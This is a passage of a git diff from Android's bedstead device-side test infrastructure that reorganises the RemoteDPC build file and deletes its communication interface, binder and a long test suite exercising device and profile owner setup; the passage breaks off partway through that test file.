+        assertThat(uriQueryHelper.matches(URI_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_isEqualTo_doesNotMeetRestriction_returnsFalse() {
+        UriQueryHelper<Queryable> uriQueryHelper = new UriQueryHelper<>(QUERY);
+
+        uriQueryHelper.isEqualTo(DIFFERENT_URI_VALUE);
+
+        assertThat(uriQueryHelper.matches(URI_VALUE)).isFalse();
+    }
+
+    @Test
+    public void matches_stringValue_meetsRestriction_returnsTrue() {
+        UriQueryHelper<Queryable> uriQueryHelper = new UriQueryHelper<>(QUERY);
+
+        uriQueryHelper.stringValue().isEqualTo(URI_STRING_VALUE);
+
+        assertThat(uriQueryHelper.matches(URI_VALUE)).isTrue();
+    }
+
+    @Test
+    public void matches_stringValue_doesNotMeetRestriction_returnsFalse() {
+        UriQueryHelper<Queryable> uriQueryHelper = new UriQueryHelper<>(QUERY);
+
+        uriQueryHelper.stringValue().isEqualTo(DIFFERENT_URI_STRING_VALUE);
+
+        assertThat(uriQueryHelper.matches(URI_VALUE)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/remotedpc/Android.bp b/common/device-side/bedstead/remotedpc/Android.bp
index e04e3ae..67ad6f8 100644
--- a/common/device-side/bedstead/remotedpc/Android.bp
+++ b/common/device-side/bedstead/remotedpc/Android.bp
@@ -3,63 +3,23 @@
 }
 
 android_library {
-    name: "RemoteDPC_Communication",
-    sdk_version: "test_current",
-    srcs: [
-        "src/communication/main/java/**/*.java"
-    ],
-    static_libs: [
-        "Nene",
-        "ConnectedAppsSDK",
-        "ConnectedAppsSDK_Annotations",
-        "androidx.annotation_annotation",
-        "RemoteDPC_Annotations"
-    ],
-    manifest: "src/communication/main/AndroidManifest.xml",
-    min_sdk_version: "27",
-    plugins: ["ConnectedAppsSDK_Processor", "RemoteDPC_Processor"],
-}
-
-android_library {
     name: "RemoteDPC",
     sdk_version: "test_current",
     srcs: [
-        "src/library/main/java/**/*.java"
+        "src/main/java/**/*.java"
     ],
     static_libs: [
         "Nene",
-        "RemoteDPC_Communication",
-        "ConnectedAppsSDK",
+        "TestApp",
     ],
-    manifest: "src/library/main/AndroidManifest.xml",
-    min_sdk_version: "27",
-    resource_zips: [":RemoteDPC_Apps"],
-}
-
-android_test_helper_app {
-    name: "RemoteDPC_DPC",
-    static_libs: [
-        "DeviceAdminApp",
-        "RemoteDPC_Communication",
-    ],
-    manifest: "src/dpc/main/AndroidManifest.xml",
-    min_sdk_version: "27"
-}
-
-java_genrule {
-    name: "RemoteDPC_Apps",
-    srcs: [":RemoteDPC_DPC"],
-    out: ["RemoteDPC_Apps.res.zip"],
-    tools: ["soong_zip"],
-    cmd: "mkdir -p $(genDir)/res/raw"
-         + " && cp $(location :RemoteDPC_DPC) $(genDir)/res/raw"
-         + " && $(location soong_zip) -o $(out) -C $(genDir)/res -D $(genDir)/res/raw"
+    manifest: "src/main/AndroidManifest.xml",
+    min_sdk_version: "28"
 }
 
 android_test {
     name: "RemoteDPCTest",
     srcs: [
-        "src/library/test/java/**/*.java"
+        "src/test/java/**/*.java"
     ],
     test_suites: [
         "general-tests",
@@ -75,30 +35,6 @@
         "truth-prebuilt",
         "testng" // for assertThrows
     ],
-    manifest: "src/library/test/AndroidManifest.xml",
+    manifest: "src/test/AndroidManifest.xml",
     min_sdk_version: "28"
-}
-
-java_library {
-    name: "RemoteDPC_Annotations",
-    srcs: [
-        "src/processor/main/java/com/android/bedstead/remotedpc/processor/annotations/*.java"
-    ],
-    host_supported: true
-}
-
-java_plugin {
-    name: "RemoteDPC_Processor",
-    processor_class: "com.android.bedstead.remotedpc.processor.Processor",
-    static_libs: [
-        "javapoet",
-        "auto_service_annotations",
-        "RemoteDPC_Annotations",
-        "ConnectedAppsSDK_Annotations"
-    ],
-    srcs: [
-        "src/processor/main/java/com/android/bedstead/remotedpc/processor/Processor.java"
-    ],
-    plugins: ["auto_service_plugin"],
-    generates_api: true,
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/remotedpc/TEST_MAPPING b/common/device-side/bedstead/remotedpc/TEST_MAPPING
deleted file mode 100644
index 34b7cf24..0000000
--- a/common/device-side/bedstead/remotedpc/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "postsubmit": [
-    {
-      "name": "RemoteDPCTest"
-    }
-  ]
-}
diff --git a/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/Configuration.java b/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/Configuration.java
deleted file mode 100644
index d31812a..0000000
--- a/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/Configuration.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.remotedpc;
-
-import android.content.ComponentName;
-
-/**
- * Utilities and configuration for RemoteDPC Communication.
- */
-public final class Configuration {
-
-    private Configuration() {
-
-    }
-
-    public static final ComponentName REMOTE_DPC_COMPONENT_NAME = new ComponentName(
-            "com.android.bedstead.remotedpc.dpc",
-            "com.android.eventlib.premade.EventLibDeviceAdminReceiver"
-    );
-}
diff --git a/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/managers/RemoteDevicePolicyManager.java b/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/managers/RemoteDevicePolicyManager.java
deleted file mode 100644
index c727bb0..0000000
--- a/common/device-side/bedstead/remotedpc/src/communication/main/java/com/android/bedstead/remotedpc/managers/RemoteDevicePolicyManager.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.remotedpc.managers;
-
-import android.app.admin.DevicePolicyManager;
-import android.app.admin.SystemUpdateInfo;
-import android.content.ComponentName;
-import android.content.IntentFilter;
-import android.os.Bundle;
-
-import androidx.annotation.NonNull;
-
-import com.android.bedstead.remotedpc.processor.annotations.RemoteDpcAutomaticAdmin;
-import com.android.bedstead.remotedpc.processor.annotations.RemoteDpcManager;
-
-import java.util.List;
-import java.util.Set;
-
-/**
- * Wrapper of {@link DevicePolicyManager} methods for use with Remote DPC
- *
- * <p>Methods called on this interface will behave as if they were called directly by the
- * RemoteDPC instance. Return values and exceptions will behave as expected.
- *
- * <p>Methods on this interface must match exactly the methods declared by
- * {@link DevicePolicyManager}, or else must be identical to a method declared by
- * {@link DevicePolicyManager} except that it excludes a {@code ComponentName admin} first argument
- * and must be annotated {@link RemoteDpcAutomaticAdmin}.
- *
- * <p>When using {@link RemoteDpcAutomaticAdmin}, there must also exist an identical method on the
- * interface which includes the {@code ComponentName admin} argument. The RemoteDPC component name
- * will be automatically provided when the {@link RemoteDpcAutomaticAdmin} annotated method is
- * called.
- */
-@RemoteDpcManager(managerClass = DevicePolicyManager.class)
-public interface RemoteDevicePolicyManager {
-
-    /** See {@link DevicePolicyManager#isUsingUnifiedPassword(ComponentName)}. */
-    boolean isUsingUnifiedPassword(@NonNull ComponentName admin);
-    /** See {@link DevicePolicyManager#isUsingUnifiedPassword(ComponentName)}. */
-    @RemoteDpcAutomaticAdmin boolean isUsingUnifiedPassword();
-
-    /** See {@link DevicePolicyManager#getCurrentFailedPasswordAttempts()}. */
-    int getCurrentFailedPasswordAttempts();
-
-    /** See {@link DevicePolicyManager#setLockTaskPackages(ComponentName, String[])}. */
-    void setLockTaskPackages(@NonNull ComponentName admin, @NonNull String[] packages);
-    /** See {@link DevicePolicyManager#setLockTaskPackages(ComponentName, String[])}. */
-    @RemoteDpcAutomaticAdmin void setLockTaskPackages(@NonNull String[] packages);
-
-    /** See {@link DevicePolicyManager#getLockTaskPackages(ComponentName)}. */
-    @NonNull String[] getLockTaskPackages(@NonNull ComponentName admin);
-    /** See {@link DevicePolicyManager#getLockTaskPackages(ComponentName)}. */
-    @RemoteDpcAutomaticAdmin @NonNull String[] getLockTaskPackages();
-
-    /** See {@link DevicePolicyManager#setLockTaskFeatures(ComponentName, int)}. */
-    void setLockTaskFeatures(
-            @NonNull ComponentName admin, int flags);
-    /** See {@link DevicePolicyManager#setLockTaskFeatures(ComponentName, int)}. */
-    @RemoteDpcAutomaticAdmin void setLockTaskFeatures(int flags);
-
-    /** See {@link DevicePolicyManager#getLockTaskFeatures(ComponentName)}. */
-    int getLockTaskFeatures(@NonNull ComponentName admin);
-    /** See {@link DevicePolicyManager#getLockTaskFeatures(ComponentName)}. */
-    @RemoteDpcAutomaticAdmin int getLockTaskFeatures();
-
-
-    /** See {@link DevicePolicyManager#setUserControlDisabledPackages(ComponentName, List)}. */
-    void setUserControlDisabledPackages(
-            @NonNull ComponentName admin, @NonNull List<String> packages);
-    /** See {@link DevicePolicyManager#setUserControlDisabledPackages(ComponentName, List)}. */
-    @RemoteDpcAutomaticAdmin void setUserControlDisabledPackages(@NonNull List<String> packages);
-
-    /** See {@link DevicePolicyManager#getUserControlDisabledPackages(ComponentName)}. */
-    @NonNull List<String> getUserControlDisabledPackages(@NonNull ComponentName admin);
-    /** See {@link DevicePolicyManager#getUserControlDisabledPackages(ComponentName)}. */
-    @RemoteDpcAutomaticAdmin @NonNull List<String> getUserControlDisabledPackages();
-
-
-    /** See {@link DevicePolicyManager#addUserRestriction(ComponentName, String)}. */
-    void addUserRestriction(@NonNull ComponentName admin, String key);
-    /** See {@link DevicePolicyManager#addUserRestriction(ComponentName, String)}. */
-    @RemoteDpcAutomaticAdmin void addUserRestriction(String key);
-
-    /** See {@link DevicePolicyManager#clearUserRestriction(ComponentName, String)}. */
-    void clearUserRestriction(@NonNull ComponentName admin, String key);
-    /** See {@link DevicePolicyManager#clearUserRestriction(ComponentName, String)}. */
-    @RemoteDpcAutomaticAdmin void clearUserRestriction(String key);
-
-    /** See {@link DevicePolicyManager#getUserRestrictions(ComponentName)}. */
-    @NonNull Bundle getUserRestrictions(@NonNull ComponentName admin);
-    /** See {@link DevicePolicyManager#getUserRestrictions(ComponentName)}. */
-    @RemoteDpcAutomaticAdmin @NonNull Bundle getUserRestrictions();
-
-    /**
-     * See {@link DevicePolicyManager#addCrossProfileIntentFilter(ComponentName, IntentFilter,
-     * int)}.
-     */
-    void addCrossProfileIntentFilter(@NonNull ComponentName admin, @NonNull IntentFilter filter,
-            int flags);
-    /**
-     * See {@link DevicePolicyManager#addCrossProfileIntentFilter(ComponentName, IntentFilter,
-     * int)}.
-     */
-    @RemoteDpcAutomaticAdmin void addCrossProfileIntentFilter(@NonNull IntentFilter filter,
-            int flags);
-
-    /** See {@link DevicePolicyManager#clearCrossProfileIntentFilters(ComponentName)}. */
-    void clearCrossProfileIntentFilters(@NonNull ComponentName admin);
-    /** See {@link DevicePolicyManager#clearCrossProfileIntentFilters(ComponentName)}. */
-    @RemoteDpcAutomaticAdmin void clearCrossProfileIntentFilters();
-
-    /** See {@link DevicePolicyManager#setPreferentialNetworkServiceEnabled(boolean)}. */
-    void setPreferentialNetworkServiceEnabled(boolean enabled);
-
-    /** See {@link DevicePolicyManager#notifyPendingSystemUpdate(long)}. */
-    void notifyPendingSystemUpdate(long updateReceivedTime);
-
-    /** See {@link DevicePolicyManager#notifyPendingSystemUpdate(long, boolean)}. */
-    void notifyPendingSystemUpdate(long updateReceivedTime, boolean isSecurityPatch);
-
-    /** See {@link DevicePolicyManager#getPendingSystemUpdate(ComponentName}). */
-    SystemUpdateInfo getPendingSystemUpdate(ComponentName admin);
-    /** See {@link DevicePolicyManager#getPendingSystemUpdate(ComponentName}). */
-    @RemoteDpcAutomaticAdmin SystemUpdateInfo getPendingSystemUpdate();
-
-    /** See {@link DevicePolicyManager#setAffiliationIds(ComponentName, Set)}. */
-    void setAffiliationIds(ComponentName admin, Set<String> ids);
-    /** See {@link DevicePolicyManager#setAffiliationIds(ComponentName, Set)}. */
-    @RemoteDpcAutomaticAdmin void setAffiliationIds(Set<String> ids);
-
-    /** See {@link android.app.admin.DevicePolicyManager#addPersistentPreferredActivity(ComponentName, IntentFilter, ComponentName)}. */
-    void addPersistentPreferredActivity(
-            ComponentName admin, IntentFilter filter, ComponentName activity);
-
-    /** See {@link android.app.admin.DevicePolicyManager#addPersistentPreferredActivity(ComponentName, IntentFilter, ComponentName)}. */
-    @RemoteDpcAutomaticAdmin void addPersistentPreferredActivity(
-            IntentFilter filter, ComponentName activity);
-}
diff --git a/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/connected/RemoteDPCBinder.java b/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/connected/RemoteDPCBinder.java
deleted file mode 100644
index 3d31394..0000000
--- a/common/device-side/bedstead/remotedpc/src/library/main/java/com/android/bedstead/remotedpc/connected/RemoteDPCBinder.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.remotedpc.connected;
-
-import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
-import static android.content.Context.BIND_AUTO_CREATE;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.ServiceConnection;
-import android.util.Log;
-
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.bedstead.remotedpc.RemoteDpc;
-
-import com.google.android.enterprise.connectedapps.ConnectionBinder;
-import com.google.android.enterprise.connectedapps.annotations.AvailabilityRestrictions;
-
-/** {@link ConnectionBinder} used by RemoteDPC. */
-public final class RemoteDPCBinder implements ConnectionBinder {
-
-    private static final String LOG_TAG = RemoteDPCBinder.class.getName();
-
-    private static final TestApis sTestApis = new TestApis();
-
-    private final RemoteDpc mRemoteDpc;
-
-    public RemoteDPCBinder(RemoteDpc remoteDpc) {
-        mRemoteDpc = remoteDpc;
-    }
-
-    @Override
-    @SuppressWarnings({"MissingPermission", "NewApi"})
-    public boolean tryBind(
-            Context context,
-            ComponentName bindToService,
-            ServiceConnection connection,
-            AvailabilityRestrictions availabilityRestrictions) {
-
-        Intent bindIntent = new Intent();
-        bindIntent.setComponent(new ComponentName(
-                mRemoteDpc.devicePolicyController().componentName().getPackageName(),
-                bindToService.getClassName()));
-
-        Log.i(LOG_TAG, "Attempting to bind to " + bindIntent);
-
-        if (mRemoteDpc.devicePolicyController().user().equals(sTestApis.users().instrumented())) {
-            try {
-                return context.bindService(bindIntent,
-                        connection, /* flags= */ BIND_AUTO_CREATE);
-            } catch (Exception e) {
-                // TODO(scottjonathan): This should actually be communicated back...
-                //  (catch the exception outside of the tryBind call)
-                Log.e(LOG_TAG, "Error binding", e);
-                return false;
-            }
-        } else {
-            try (PermissionContext p =
-                         sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
-                return context.bindServiceAsUser(bindIntent,
-                        connection, /* flags= */ BIND_AUTO_CREATE,
-                        mRemoteDpc.devicePolicyController().user().userHandle());
-            } catch (Exception e) {
-                // TODO(scottjonathan): This should actually be communicated back...
-                //  (catch the exception outside of the tryBind call)
-                Log.e(LOG_TAG, "Error binding", e);
-                return false;
-            }
-        }
-    }
-
-    @Override
-    public boolean bindingIsPossible(Context context,
-            AvailabilityRestrictions availabilityRestrictions) {
-        return true;
-    }
-
-    @Override
-    public boolean hasPermissionToBind(Context context) {
-        return true;
-    }
-}
diff --git a/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java b/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java
deleted file mode 100644
index 09c06b7..0000000
--- a/common/device-side/bedstead/remotedpc/src/library/test/java/com/android/bedstead/remotedpc/RemoteDpcTest.java
+++ /dev/null
@@ -1,774 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.remotedpc;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.ComponentName;
-import android.os.UserHandle;
-
-import com.android.bedstead.harrier.BedsteadJUnit4;
-import com.android.bedstead.harrier.DeviceState;
-import com.android.bedstead.harrier.annotations.AfterClass;
-import com.android.bedstead.harrier.annotations.BeforeClass;
-import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
-import com.android.bedstead.nene.TestApis;
-import com.android.bedstead.nene.devicepolicy.DeviceOwner;
-import com.android.bedstead.nene.devicepolicy.ProfileOwner;
-import com.android.bedstead.nene.exceptions.NeneException;
-import com.android.bedstead.nene.users.UserReference;
-import com.android.bedstead.nene.users.UserType;
-import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppProvider;
-import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
-
-import org.junit.ClassRule;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(BedsteadJUnit4.class)
-public class RemoteDpcTest {
-    // TODO(scottjonathan): Add annotations to ensure that there is no DO/PO on appropriate methods
-    //  TODO(180478924): We shouldn't need to hardcode this
-    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME = "android.DeviceAdminTestApp";
-    private static final ComponentName NON_REMOTE_DPC_COMPONENT =
-            new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
-                    EventLibDeviceAdminReceiver.class.getName());
-
-    @ClassRule @Rule
-    public static DeviceState sDeviceState = new DeviceState();
-
-    private static final TestApis sTestApis = new TestApis();
-    private static TestApp sNonRemoteDpcTestApp;
-    private static final UserReference sUser = sTestApis.users().instrumented();
-    private static final UserReference NON_EXISTING_USER_REFERENCE =
-            sTestApis.users().find(99999);
-    private static final UserHandle NON_EXISTING_USER_HANDLE =
-            NON_EXISTING_USER_REFERENCE.userHandle();
-
-    @BeforeClass
-    public static void setupClass() {
-        sNonRemoteDpcTestApp = new TestAppProvider().query()
-                // TODO(scottjonathan): Query by feature not package name
-                .wherePackageName().isEqualTo(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME)
-                .get();
-
-        sNonRemoteDpcTestApp.install(sUser);
-    }
-
-    @AfterClass
-    public static void teardownClass() {
-        sNonRemoteDpcTestApp.uninstall(sUser);
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void deviceOwner_noDeviceOwner_returnsNull() {
-        assertThat(RemoteDpc.deviceOwner()).isNull();
-    }
-
-    @Test
-    public void deviceOwner_nonRemoteDpcDeviceOwner_returnsNull() {
-        DeviceOwner deviceOwner =
-                sTestApis.devicePolicy().setDeviceOwner(sUser, NON_REMOTE_DPC_COMPONENT);
-        try {
-            assertThat(RemoteDpc.deviceOwner()).isNull();
-        } finally {
-            deviceOwner.remove();
-        }
-    }
-
-    @Test
-    public void deviceOwner_remoteDpcDeviceOwner_returnsInstance() {
-        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
-
-        try {
-            assertThat(RemoteDpc.deviceOwner()).isNotNull();
-        } finally {
-            remoteDPC.devicePolicyController().remove();
-        }
-    }
-
-    @Test
-    public void profileOwner_noProfileOwner_returnsNull() {
-        assertThat(RemoteDpc.profileOwner()).isNull();
-    }
-
-    @Test
-    public void profileOwner_nonRemoteDpcProfileOwner_returnsNull() {
-        ProfileOwner profileOwner =
-                sTestApis.devicePolicy().setProfileOwner(sUser, NON_REMOTE_DPC_COMPONENT);
-        try {
-            assertThat(RemoteDpc.profileOwner()).isNull();
-        } finally {
-            profileOwner.remove();
-        }
-    }
-
-    @Test
-    public void profileOwner_remoteDpcProfileOwner_returnsInstance() {
-        RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(sUser);
-        try {
-            assertThat(RemoteDpc.profileOwner()).isNotNull();
-        } finally {
-            remoteDPC.devicePolicyController().remove();
-        }
-    }
-
-    @Test
-    public void profileOwner_userHandle_null_throwsException() {
-        assertThrows(NullPointerException.class, () -> RemoteDpc.profileOwner((UserHandle) null));
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void profileOwner_userHandle_noProfileOwner_returnsNull() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        try {
-            assertThat(RemoteDpc.profileOwner(profile.userHandle())).isNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void profileOwner_userHandle_nonRemoteDpcProfileOwner_returnsNull() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        sNonRemoteDpcTestApp.install(profile);
-        try {
-            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
-
-            assertThat(RemoteDpc.profileOwner(profile.userHandle())).isNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void profileOwner_userHandle_remoteDpcProfileOwner_returnsInstance() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        RemoteDpc.setAsProfileOwner(profile);
-        try {
-            assertThat(RemoteDpc.profileOwner(profile.userHandle())).isNotNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    public void profileOwner_userReference_null_throwsException() {
-        assertThrows(NullPointerException.class,
-                () -> RemoteDpc.profileOwner((UserReference) null));
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void profileOwner_userReference_noProfileOwner_returnsNull() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        try {
-            assertThat(RemoteDpc.profileOwner(profile)).isNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void profileOwner_userReference_nonRemoteDpcProfileOwner_returnsNull() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        sNonRemoteDpcTestApp.install(profile);
-        try {
-            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
-
-            assertThat(RemoteDpc.profileOwner(profile)).isNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void profileOwner_userReference_remoteDpcProfileOwner_returnsInstance() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        RemoteDpc.setAsProfileOwner(profile);
-        try {
-            assertThat(RemoteDpc.profileOwner(profile)).isNotNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    public void any_noDeviceOwner_noProfileOwner_returnsNull() {
-        assertThat(RemoteDpc.any()).isNull();
-    }
-
-    @Test
-    public void any_noDeviceOwner_nonRemoteDpcProfileOwner_returnsNull() {
-        ProfileOwner profileOwner = sTestApis.devicePolicy().setProfileOwner(sUser,
-                NON_REMOTE_DPC_COMPONENT);
-
-        try {
-            assertThat(RemoteDpc.any()).isNull();
-        } finally {
-            profileOwner.remove();
-        }
-    }
-
-    @Test
-    public void any_nonRemoteDpcDeviceOwner_noProfileOwner_returnsNull() {
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser,
-                NON_REMOTE_DPC_COMPONENT);
-
-        try {
-            assertThat(RemoteDpc.any()).isNull();
-        } finally {
-            deviceOwner.remove();
-        }
-    }
-
-    @Test
-    public void any_remoteDpcDeviceOwner_returnsDeviceOwner() {
-        RemoteDpc remoteDPC = RemoteDpc.setAsDeviceOwner(sUser);
-
-        try {
-            assertThat(RemoteDpc.any()).isNotNull();
-        } finally {
-            remoteDPC.devicePolicyController().remove();
-        }
-    }
-
-    @Test
-    public void any_remoteDpcProfileOwner_returnsProfileOwner() {
-        RemoteDpc remoteDPC = RemoteDpc.setAsProfileOwner(sUser);
-
-        try {
-            assertThat(RemoteDpc.any()).isNotNull();
-        } finally {
-            remoteDPC.devicePolicyController().remove();
-        }
-    }
-
-    @Test
-    public void any_userHandle_null_throwsException() {
-        assertThrows(NullPointerException.class, () -> RemoteDpc.any((UserHandle) null));
-    }
-
-    @Test
-    public void any_userHandle_noDeviceOwner_noProfileOwner_returnsNull() {
-        assertThat(RemoteDpc.any(sUser.userHandle())).isNull();
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void any_userHandle_noDeviceOwner_nonRemoteDpcProfileOwner_returnsNull() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        sNonRemoteDpcTestApp.install(profile);
-        try {
-            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
-
-            assertThat(RemoteDpc.any(profile.userHandle())).isNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    public void any_userHandle_nonRemoteDpcDeviceOwner_noProfileOwner_returnsNull() {
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser,
-                NON_REMOTE_DPC_COMPONENT);
-
-        try {
-            assertThat(RemoteDpc.any(sUser.userHandle())).isNull();
-        } finally {
-            deviceOwner.remove();
-        }
-    }
-
-    @Test
-    public void any_userHandle_remoteDpcDeviceOwner_returnsDeviceOwner() {
-        RemoteDpc deviceOwner = RemoteDpc.setAsDeviceOwner(sUser);
-
-        try {
-            assertThat(RemoteDpc.any(sUser.userHandle())).isEqualTo(deviceOwner);
-        } finally {
-            deviceOwner.devicePolicyController().remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void any_userHandle_remoteDpcProfileOwner_returnsProfileOwner() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        try {
-            RemoteDpc profileOwner = RemoteDpc.setAsProfileOwner(profile);
-
-            assertThat(RemoteDpc.any(profile.userHandle())).isEqualTo(profileOwner);
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    public void any_userReference_null_throwsException() {
-        assertThrows(NullPointerException.class, () -> RemoteDpc.any((UserReference) null));
-    }
-
-    @Test
-    public void any_userReference_noDeviceOwner_noProfileOwner_returnsNull() {
-        assertThat(RemoteDpc.any(sUser)).isNull();
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void any_userReference_noDeviceOwner_nonRemoteDpcProfileOwner_returnsNull() {
-        UserReference profile = sTestApis.users().createUser()
-                .parent(sUser)
-                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
-                .createAndStart();
-        sNonRemoteDpcTestApp.install(profile);
-        try {
-            sTestApis.devicePolicy().setProfileOwner(profile, NON_REMOTE_DPC_COMPONENT);
-
-            assertThat(RemoteDpc.any(profile)).isNull();
-        } finally {
-            profile.remove();
-        }
-    }
-
-    @Test
-    public void any_userReference_nonRemoteDpcDeviceOwner_noProfileOwner_returnsNull() {
-        DeviceOwner deviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser,
-                NON_REMOTE_DPC_COMPONENT);
-
-        try {
-            assertThat(RemoteDpc.any(sUser)).isNull();
-        } finally {
-            deviceOwner.remove();
-        }
-    }
-
-    @Test
-    public void any_userReference_remoteDpcDeviceOwner_returnsDeviceOwner() {
-        RemoteDpc deviceOwner = RemoteDpc.setAsDeviceOwner(sUser);
-
-        try {
-            assertThat(RemoteDpc.any(sUser)).isEqualTo(deviceOwner);
-        } finally {
-            deviceOwner.devicePolicyController().remove();
-        }
-    }
-
-    @Test
-    @EnsureHasNoDeviceOwner
-    public void any_userReference_remoteDpcProfileOwner_returnsProfileOwner() {
